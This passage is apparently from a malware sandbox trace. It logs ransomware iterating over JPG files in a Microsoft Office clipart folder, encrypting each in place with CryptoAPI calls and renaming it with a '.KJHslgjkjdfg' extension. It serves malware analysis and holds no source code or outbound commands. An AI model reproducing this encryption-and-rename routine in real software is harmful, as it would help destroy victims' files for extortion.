lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x84a6, lpOverlapped=0x0) returned 1 [0194.344] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x84b0, dwBufLen=0x84b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x84b0) returned 1 [0194.345] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.345] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x84b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x84b0, lpOverlapped=0x0) returned 1 [0194.345] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.345] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.345] SetEndOfFile (hFile=0x130) returned 1 [0194.347] GetProcessHeap () returned 0x990000 [0194.347] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.347] GetProcessHeap () returned 0x990000 [0194.347] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.347] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.kjhslgjkjdfg")) returned 1 [0194.348] CloseHandle (hObject=0x130) returned 1 [0194.348] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912cb00, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa912cb00, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x9a76, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145904.JPG", cAlternateFileName="")) returned 1 [0194.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.349] GetProcessHeap () returned 0x990000 [0194.349] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.349] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.349] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.349] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0194.353] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.353] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.353] GetProcessHeap () returned 0x990000 [0194.353] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.353] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.353] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.353] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.354] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.354] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.354] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.354] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.354] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.354] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.354] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.354] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.354] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9a76, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9a76, lpOverlapped=0x0) returned 1 [0194.355] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9a80, dwBufLen=0x9a80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9a80) returned 1 [0194.356] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.356] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9a80, lpOverlapped=0x0) returned 1 [0194.356] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.356] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.356] SetEndOfFile (hFile=0x130) returned 1 [0194.358] GetProcessHeap () returned 0x990000 [0194.358] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.358] GetProcessHeap () returned 0x990000 [0194.358] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.358] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.kjhslgjkjdfg")) returned 1 [0194.360] CloseHandle (hObject=0x130) returned 1 [0194.360] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb5ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0146142.JPG", cAlternateFileName="")) returned 1 [0194.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.360] GetProcessHeap () returned 0x990000 [0194.360] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.360] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.360] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.360] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.362] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.362] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.362] GetProcessHeap () returned 0x990000 [0194.362] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.363] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.363] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.363] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.363] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.363] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.363] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.363] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.363] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.363] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.363] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.363] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.363] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb5ac, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb5ac, lpOverlapped=0x0) returned 1 [0194.365] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb5b0, dwBufLen=0xb5b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb5b0) returned 1 [0194.365] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.365] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb5b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb5b0, lpOverlapped=0x0) returned 1 [0194.365] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.365] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.365] SetEndOfFile (hFile=0x130) returned 1 [0194.368] GetProcessHeap () returned 0x990000 [0194.368] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.368] GetProcessHeap () returned 0x990000 [0194.368] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.368] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.kjhslgjkjdfg")) returned 1 [0194.369] CloseHandle (hObject=0x130) returned 1 [0194.369] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaa9a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0148309.JPG", cAlternateFileName="")) returned 1 [0194.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.369] GetProcessHeap () returned 0x990000 [0194.369] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.369] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.370] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.370] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0194.372] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.372] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.372] GetProcessHeap () returned 0x990000 [0194.372] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.372] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.372] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.372] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.372] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.372] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.372] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.372] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.372] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.372] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.372] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.372] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.372] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xaa9a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xaa9a, lpOverlapped=0x0) returned 1 [0194.374] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xaaa0, dwBufLen=0xaaa0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xaaa0) returned 1 [0194.374] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.374] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xaaa0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xaaa0, lpOverlapped=0x0) returned 1 [0194.374] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.374] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xab74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.374] SetEndOfFile (hFile=0x130) returned 1 [0194.377] GetProcessHeap () returned 0x990000 [0194.377] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.377] GetProcessHeap () returned 0x990000 [0194.377] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.377] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.kjhslgjkjdfg")) returned 1 [0194.378] CloseHandle (hObject=0x130) returned 1 [0194.378] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x107d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0148757.JPG", cAlternateFileName="")) returned 1 [0194.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.378] GetProcessHeap () returned 0x990000 [0194.378] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.379] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.379] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.379] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0194.382] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.382] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.382] GetProcessHeap () returned 0x990000 [0194.382] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.382] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.382] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.382] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.382] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.382] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.382] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.382] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.382] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.383] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.383] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.383] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.383] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x107d4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x107d4, lpOverlapped=0x0) returned 1 [0194.384] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x107e0, dwBufLen=0x107e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x107e0) returned 1 [0194.385] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.385] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x107e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x107e0, lpOverlapped=0x0) returned 1 [0194.386] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.386] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x108b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.386] SetEndOfFile (hFile=0x130) returned 1 [0194.389] GetProcessHeap () returned 0x990000 [0194.389] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.389] GetProcessHeap () returned 0x990000 [0194.389] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.389] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), lpNewFileName="C:\\Program 